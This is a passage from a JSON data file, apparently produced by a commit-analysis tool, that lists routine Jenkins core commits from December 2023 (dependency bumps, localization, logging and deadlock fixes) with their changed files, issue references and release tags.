"jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8782", + "relevance": 2 + } + ] + }, + { + "commit_id": "2cdf80166ed41223fcf3b9a8b29fde9d31cd983f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702670440, + "hunks": 1, + "message": "Bump actions/upload-artifact from 3 to 4 (#8784) Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/changelog.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8784": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8784", + "relevance": 2 + } + ] + }, + { + "commit_id": "8be599a9730726b933969115d72d4c6f0d42cc8b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702665447, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to 1252.vfc2e5efa_294f (#8781) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8781": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8781", + "relevance": 2 + } + ] + }, + { + "commit_id": "9defb96b1650782fc29517415c10d7275a2daa1d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702641092, + "hunks": 4, + "message": "Update dependency stylelint to v16.0.2 (#8783)", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8783": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8783", + "relevance": 2 + } + ] + }, + { + "commit_id": "259ccc06fb01cbe5d2eb3a4bd232a49fefd835a5", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702586149, + "hunks": 7, + "message": "[JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle via `I18n` action. (#8776) [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle When running the JVM with a default locale that is not english, the resource bundle lookup for english would return a bundle with that default locale, instead of using the \"default\" that is english. Also changed bundle resolution to use uberClassloader rather than iterating on all plugin classloaders", + "changed_files": [ + "core/src/main/java/jenkins/util/ResourceBundleUtil.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8776": "[JENKINS-72467] Fix localization jenkinsci/blueocean-plugin#2534" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8776", + "relevance": 2 + } + ] + }, + { + "commit_id": "302e6ac2d1b64ea9035b00ab9fe79685dbf0aa68", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702586118, + "hunks": 7, + "message": "Logging improvements to `Run` related classes (#8777) Logging improvements to Run related classes", + "changed_files": [ + "core/src/main/java/hudson/model/Run.java", + "core/src/main/java/hudson/model/RunMap.java", + "core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8777": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8777", + "relevance": 2 + } + ] + }, + { + "commit_id": "cc4e8e72e0a4e33c03d94b8fa4bfdd485a377ac2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702497650, + "hunks": 1, + "message": "[JENKINS-72288] fix nested job link in mobile view (#8765) [JENKINS-72288] fix inested job link in mobile view when a view contains jobs that are from a nested folder, the links where not properly calculated.", + "changed_files": [ + "core/src/main/resources/lib/hudson/projectView.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8765": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8765", + "relevance": 2 + } + ] + }, + { + "commit_id": "7df7ae4a85d2f6409aebdeee2bc1cd0719bd76fb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702497643, + "hunks": 1, + "message": "[JENKINS-72443] Do not show copy option without visible items (#8763) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/hudson/model/View/newJob.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8763": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8763", + "relevance": 2 + } + ] + }, + { + "commit_id": "64dc3844b573c5efd5613b0f4498a18fceeb7443", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702497617, + "hunks": 4, + "message": "show node monitors on agent page (#8725) * show node monitors on agent page add an advanced button on the agent page. When clicking it will show the node monitors for this agent including any warnings/errors * fix style", + "changed_files": [ + "core/src/main/java/hudson/model/Computer.java", + "core/src/main/resources/hudson/model/Computer/index.jelly", + "war/src/main/scss/components/_table.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8725": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8725", + "relevance": 2 + } + ] + }, + { + "commit_id": "5562c4a0f9e724601fd8a42983c489a95d6b50e9", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702494679, + "hunks": 4, + "message": "Update dependency prettier to v3.1.1 (#8775) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8775": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8775", + "relevance": 2 + } + ] + }, + { + "commit_id": "6a2d94bfbe9fca4d020f513025100b66872a1877", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702494629, + "hunks": 46, + "message": "Simplifying `JNLPLauncher` (#8762)", + "changed_files": [ + "core/src/main/java/hudson/model/Slave.java", + "core/src/main/java/hudson/slaves/JNLPLauncher.java", + "core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java", + "core/src/main/resources/hudson/slaves/JNLPLauncher/config.jelly", + "core/src/main/resources/hudson/slaves/JNLPLauncher/config.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main.jelly", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_bg.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_de.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_es.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_it.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_pt_BR.properties", + "core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties", + "core/src/main/resources/hudson/slaves/Messages.properties", + "core/src/main/resources/hudson/slaves/Messages_pt_BR.properties", + "core/src/main/resources/hudson/slaves/Messages_ru.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8762": "Restore JCasC compatibility for JNLPLauncher.tunnel #8793 Updates and fixing deprecations jenkinsci/mock-slave-plugin#183 NPE in DockerComputerJNLPConnector.beforeContainerCreated starting with Jenkins 2.437 jenkinsci/docker-plugin#1047 [JENKINS-73011] Round-trip JNLPLauncher.tunnel to null not \"\" #9170 Removing JNLPLauncher.webSocket notation in nodes.md jenkinsci/support-core-plugin#566 Add -webSocket option by default when creating an inbound agent #9665" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8762", + "relevance": 2 + } + ] + }, + { + "commit_id": "05037a087ffc751e064710c207ad6b26c51d4a38", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702494602, + "hunks": 2, + "message": "Print deprecation warning when using `-jnlpUrl` (#8773)", + "changed_files": [ + "core/src/main/java/hudson/slaves/SlaveComputer.java", + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8773": "Print deprecation warning when using -jnlpUrl jenkinsci/remoting#705 Updates and fixing deprecations jenkinsci/mock-slave-plugin#183 Stop relying on deprecated /computer/${NAME}/jenkins-agent.jnlp endpoint shamil/docker-jenkins-auto-agent#6" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8773", + "relevance": 2 + } + ] + }, + { + "commit_id": "f885f927183d90bb4180a4a8f569fa039b3a6e5d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702337242, + "hunks": 1, + "message": "Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8772": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8772", + "relevance": 2 + } + ] + }, + { + "commit_id": "f1e29df3859ea22520e5db62899fb622dbb92102", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702328563, + "hunks": 1, + "message": "Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8770": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8770", + "relevance": 2 + } + ] + }, + { + "commit_id": "f9a777bc682963de4640303b2f28ac488f9b93ef", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702113915, + "hunks": 15, + "message": "Class loading deadlock between `PermalinkProjectAction.Permalink` & `PeepholePermalink` (#8736) * Class loading deadlock between `PermalinkProjectAction` & `PeepholePermalink` * Checkstyle * Clearer reproducer * Do not let `Permalink` refer to its subclass `PeepholePermalink` in its static initializer * Cleaner test * Checkstyle * Maybe we should not run `initialized` from `Job.` either", + "changed_files": [ + "core/src/main/java/hudson/model/Job.java", + "core/src/main/java/hudson/model/PermalinkProjectAction.java", + "core/src/main/java/jenkins/model/PeepholePermalink.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8736": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + 